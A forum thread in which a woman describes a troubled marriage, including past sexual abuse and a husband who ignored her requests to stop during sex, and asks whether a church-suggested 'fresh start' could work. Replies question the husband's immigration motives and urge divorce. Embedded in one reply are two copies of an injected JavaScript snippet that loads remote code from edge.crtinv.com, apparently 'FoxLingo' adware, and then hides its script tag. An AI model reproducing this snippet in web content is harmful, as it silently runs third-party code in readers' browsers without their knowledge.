Marriage fresh start- thoughts/advice?

[nebula]

Hi Everyone

So I am going to open up a bit personal here. My hubby and I have been having some major issues- I mean major. TO name a few, I feel at times I have married a toddler, because the Passive Aggressiveness gets out of control at times. We both fight fight fight constantly, nearly all day every day. He legally can't work, which complicates matters.

Anyway, enter this past weekend. We went to a great retreat with our church, and had a nice two hour conversation with the Young Adults/College & Career pastor and his wife - who have been married 15 years, they gave us some wisdom I think will help.

He said # 1 to remember our love languages (Which is how you feel and respond to love) they include:

Gifts of Service

Words of Affirmation

Quality Time

Physical Touch

Gifts

My TOP language is gifts of service (i.e I feel loved when Ricky does something for me.. like housework)

His is physical touch, which is 0 on me and brings us to the sexual problem. I hate it with a passion, mostly from past sexual abuse & rape- he doesn't seem to care, just wants what he wants.

So even though he legally can't work, he can do the Amazon work from home stuff that I do, and can rack up as many "HITS" as he wants to earn money- a truly viable source of income.

Now that you have the background, Curtis and Kilyn suggested a "Fresh Start". Knowing the Big "D" Is never going to be an option for us, they recommended we go through Pre-marital counseling again, renew our vows- and have an actual honeymoon (we never got one) and that we draw a line under everything negative the past year- and go through premarital counseling again, and start over. We had a grand total of two weeks in person before being married, definitely not long enough time!

Was wondering if anyone has had these problems, are they normal? And would a fresh start like suggested actually work?

Mel

Oh and if you want to find your love language (They are generic, not religious based) there is a cool quiz that will tell you. For Husband, For Wives, For Parents of Teenagers, and for Singles

http://www.5lovelanguages.com/assessments/love/

 

[blueyedgirl5946]

I think it is a good think that you are both seeking help.  Did you ever get counseling for the sexual abuse you endured.  If you don't want to discuss that here, feel free to PM me.
 

 

[nebula]

I think it is a good think that you are both seeking help.  Did you ever get counseling for the sexual abuse you endured.  If you don't want to discuss that here, feel free to PM me.
 

I did actually, it was years and years ago. I think the biggest issue there is trust- he has lied to me tons in the past, and there are times when he has specifically hurt me during that time, and I think he literally "bull in china shop" and didn't listen when I said to stop because it hurt. That damaged trust big time

 

[natalie_ca]

I did actually, it was years and years ago. I think the biggest issue there is trust- he has lied to me tons in the past, and there are times when he has specifically hurt me during that time, and I think he literally "bull in china shop" and didn't listen when I said to stop because it hurt. That damaged trust big time

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}(); I'm sorry you are going through a rough time.

I read everything you said in your initial post. I see lots wrong, but I'm going to address the last thing you said, which I quoted above.

Without trust there can be no relationship.  Trust is a hard thing to earn back, and sometimes it can't ever be earned back.

Now for something you said initially.  You indicated that you are not at all interested in a sexual relationship.  Sexual incompatibility is one of the top reasons for infidelity and divorce.  

You said you had 2 weeks in person before you married, so I'm going to guess that your relationship started out long distance.  Being "in love" over the internet/long distance, is totally different than being in love "in person."  Internet relationships are built based on fantasy and the best parts of what you each show each other.  However, the test comes when you are together in person when the reality and dole drum of daily life sets in, and when the real person comes out; the show their true colours: habits, quirks etc.

I know you want to hear that things will improve.  But I'm sorry to say that based on this thread, and some others you have posted in the past, my gut is telling me that you both should cut your losses.  If you divorce now, he will likely be deported back to his home country. However, did you ever thing that his reason for marrying you was to get status/citizenship in the US? I say this because I had been in a long distance relationship some years ago. I thought I had found "the one!"  but in the end as I was preparing to go and meet him (which I insisted before I sponsored him here), before I went to meet him, I found out that he was really more interested in getting sponsored into Canada.

Another example.  My friend met a guy from India. He was in the USA on a work visa that was set to expire and wasn't going to be renewed. He was going to have to return to India.  He played her like a fiddle!  She went down to the US to meet him, stayed there a few weeks and fell head over heels in love.  They got married in the US because he was not allowed into Canada at the time.  They lived in the US for a while, and she started the sponsorship processes. When his work visa expired they moved to Canada. Long story short.  Once he got here he totally changed.  She made the right decision and tossed him out.  Instead of going back to India, he latched onto her best friend, and like a fool she took him in, and now they are married, and she is working to support them, while he isn't because 2 years later he is still not able to work.

I'm sorry, but I don't see a bright future for the 2 of you

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